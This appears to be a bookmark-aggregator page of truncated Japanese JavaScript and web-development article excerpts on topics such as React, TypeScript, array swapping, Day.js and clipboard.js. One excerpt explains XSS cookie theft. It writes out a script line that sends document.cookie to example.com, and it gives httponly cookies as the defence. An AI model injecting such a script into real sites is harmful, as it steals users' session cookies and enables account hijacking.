はじめに エンジニアのみなさま、日々の学習本当にお疲れ様です! また本記事まで足を運んでいただき本当に感謝です。 記事は約3分程度で読めるので最後まで読んでもらえると幸いです。 さっと見たい人向け importの書き方パターン 説明
こんな感じでsleepで指定した秒数待った後に処理ができるようになるという便利な関数で様々な言語で使われています。javascriptにも似たような関数でsetTimeoutがありますが、setTimeoutは非同期関数なので上の処理を実現させるためには
QRCode.js QRCode.js is javascript library for making QRCode. QRCode.js supports Cross-browser with HTML5 Canvas and table tag in DOM. QRCode.js has no dependencies. Basic Usages <div id="qrcode"></div> <script type="text/javascript"> new QRCode(document.getElementById("qrcode"), "http://jindo.dev.naver.com/collie"); </script> or with some options var qrcode = new QRCode("test", { text: "http://jin
この記事はReact公式の内容を翻訳・紹介するものではありません。筆者の解釈や理解を伝えるものであり、Reactの公式見解と一致しているとは限りません。あらかじめご了承ください。 皆さんこんにちは。最近Next.js 13.4がリリースされ、App Routerがstable扱いになりました。App RouterはReact Server Component (RSC) をふんだんに用いて構築されています。 React本体でServer Componentがずっとalpha版なのにNext.jsでbetaとかstableとか言ってるのは何で? という問題も、React Canaryのアナウンスにより無事に解消されました。 React Canaryってなに? 先日React公式ブログでアナウンスされた、新しいリリースチャネルです。 筆者の理解による概要をお伝えすると、Canary版のReac
本書『サバイバルTypeScript』は実務でTypeScriptを使う開発者のための入門書です。そして、このページはTypeScriptの特徴を最速で把握できるよう、数百ページからなる本書のコンテンツをつまみ食いした要約です。 » 本書ついて詳しく知る » とにかく今すぐTypeScriptを書いてみたい TypeScriptとはJavaScriptのスーパーセットとなるプログラミング言語。静的型付け言語であり、プログラムの正しさが静的に検査できる。ライブラリやIDEなどの開発環境が充実しており、大きなエコシステムを持っている。Microsoftが2012年に開発し、オープンソースで公開した。» TypeScriptの特徴について詳しく知る » TypeScript誕生の背景について詳しく知る TypeScriptはJavaScriptのスーパーセットスーパーセットとは、元の言語との
About HTML Preprocessors HTML preprocessors can make writing HTML more powerful or convenient. For instance, Markdown is designed to be easier to write and read for text documents and you could write a loop in Pug. Learn more · Versions Adding Classes In CodePen, whatever you write in the HTML editor is what goes within the <body> tags in a basic HTML5 template. So you don't have access to higher-
はいさい!ちゅらデータぬオースティンやいびーん! 今回の記事は筆者に珍しく、技術紹介ではなく、僕の個人的な意見を書きます。あくまでも、自説です。 React自体は画期的で、プログラミング界に貢献したプロジェクトだと思っていますし、完全に否定したいわけではありません。 Reactに対する違和感=芽生えては大きく育った種 筆者はReactがとても好きでした。JavaScriptが好きになったきっかけもReactでした。何から何までもReactで書き直して、Custom Hooksを作って、refを子部品に渡したり、バリバリ満喫していました。 Vueも仕事の関係で習得せざるを得なくなったのですが、Vueは最高に大嫌いでした。これならReactで書き直してやるぅ!と思ったりも。 Reactについて社内でも導入を推進したり、React入門の勉強会を開いたりもしています。 しかし、そんな筆者は、最近に
JavaScript で Beep 音 を鳴らしたかったのですが,beep()のような関数はなくて,自作する必要があります. 今回は,JavaScript だけでなんとかできないかなーと思った調べたものをまとめます! まずは結果から...こんな感じで1行でできますね! new Audio("data:audio/wav;base64,UklGRnoGAABXQVZFZm10IBAAAAABAAEAQB8AAEAfAAABAAgAZGF0YQoGAACBhYqFbF1fdJivrJBhNjVgodDbq2EcBj+a2/LDciUFLIHO8tiJNwgZaLvt559NEAxQp+PwtmMcBjiR1/LMeSwFJHfH8N2QQAoUXrTp66hVFApGn+DyvmwhBTGH0fPTgjMGHm7A7+OZSA0PVqzn77BdGAg+ltryxnMpBSl+zPLaizsI
この前、JavaScriptの配列のある要素を一つ前(一つ後ろ)の要素と入れ替えたい、という状況になりました。 Arrayオブジェクトのメソッドにはそれらしきものはありませんでしたが、spliceというメソッドを使って実現できそうでした。 spliceメソッドについては、以下を参照してください。 http://www.tohoho-web.com/js/array.htm#splice 以下、実行例です。 var array = new Array("あ", "い", "う", "え", "お"); // 入れ替える文字のindex var index; // "う"を一つ前の"い"と入れ替え index = 2; array.splice(index-1, 2, array[index], array[index-1]); alert(array); // => あ,う,い,え,お //
配列の要素の順番を入れ替えるとき、 let temp = ary[x]; ary[x] = ary[y]; ary[y] = temp; みたいにやってたけど、 なんか1行でできるらしい。 function swap(a,x,y){ a[x]=[a[y],a[y]=a[x]][0]; return a; } 最初見たとき意味わかんなかったんだけど、コメント追加して書き下すとこう。 function swap(array,index1,index2){ // array[y]の値を添え字0に、 // array[y]=array[index1]の「代入の実行結果」を添字1に持った配列を作成 let array2 = [array[index2],array[index2]=array[index1]]; // 上記の配列の添字0をarray[index1]に代入することで、 // 引数の配列
P&Dアドベントカレンダー10日目の記事です。まだ10日目です。UTC的にはまだ10日目です。 ブラウザで画像を切り取るとき 画像をトリミングするといえば、「Cropper.js」といったツールや他にも「Jcrop」などがあります。これらの共通点としては、画像のトリミング範囲をバウンディングボックスを動かす形で指定するところでしょう。 Cropper.js Jcrop しかし、Twitterのような画像のトリミング方法を採用したとき、上記のライブラリだと厳しいものがある。 その時に活躍するライブラリが「Croppie」です。
JavaScript での時刻操作に Moment.js ではなく Day.js を利用し続けている理由2020/09/21 昨日、拙作の Nuxt.js プラグインである @nuxtjs/dayjs の v1.2.0 をリリースしました。 このプラグイン自体は2019年3月に開発をはじめて、おおよそ一年半ほど管理してるのですが、それ以前から JavaScript での時刻操作では Day.js を使ってきました。 Moment.js のプロジェクト終了が告知され、時刻操作ライブラリに注目が集まっていることなので、今一度 Day.js の採用理由についてまとめてみます。 Day.js について iamkun によって開発されている時刻操作のライブラリです。Moment や date-fns などは Organization によって管理されていますが、時刻操作ライブラリとしては珍しく個人に
Why Copying text to the clipboard shouldn't be hard. It shouldn't require dozens of steps to configure or hundreds of KBs to load. But most of all, it shouldn't depend on Flash or any bloated framework. That's why clipboard.js exists. Install You can get it on npm. npm install clipboard --save Or if you're not into package management, just download a ZIP file. Setup First, include the script locat
<input type="file"> で iOS から写真をアップロードする際に気をつけること、それは写真の選択によってアップロードされる画像の中身が微妙に変わることです。 上にある「写真を撮る」と「フォトライブラリ」で異なります。 何が違うのか? 写真のメタ情報フォーマットが異なります。 写真を撮る: JFIF フォトライブラリ: Exif JFIF とは 写真を撮るからアップロードされるファイルは JFIF フォーマットになっています。JFIF というのは米C-Cube Microsystems社によって提唱された画像メタ情報を埋め込むためのフォーマット仕様です。具体的には SOI (0xFF D8 ) の直後に APP0 Marker ( 0xFF E0 ) がきます。解像度やサムネイルの情報が格納されています。 もしサムネイルがある場合は、この後にサムネイル情報が来ますが iOS
JavaScriptでコードを記述する際、配列の各要素について処理をするケースは頻出します。開発の現場で配列操作の処理を見ていると、次のようなケースがよくあります。 配列の非破壊の望まれる場面が増えているが、元の配列を破壊操作している filter()やevery()など配列のメソッドで書けるところを、forEach()メソッドやfor ... of文を使ってコードを記載し、冗長になっている 記述しても効果のないArray.from()を使用している コード的には問題なく、アプリケーションは意図的に動作しているかもしれません。しかし、冗長な記述は可読性が低下し、予期せぬバグを誘発する可能性があるでしょう。 本記事では、配列操作でよく見かける冗長な記述を、簡潔な記述で置き換える方法について解説します。 本記事で紹介するJavaScriptの配列操作のチートシートを用意したので、まとめて読みた
以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。 取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。 リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。 対策例 document.cookieで取得できてしまうから危険なのでは? → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く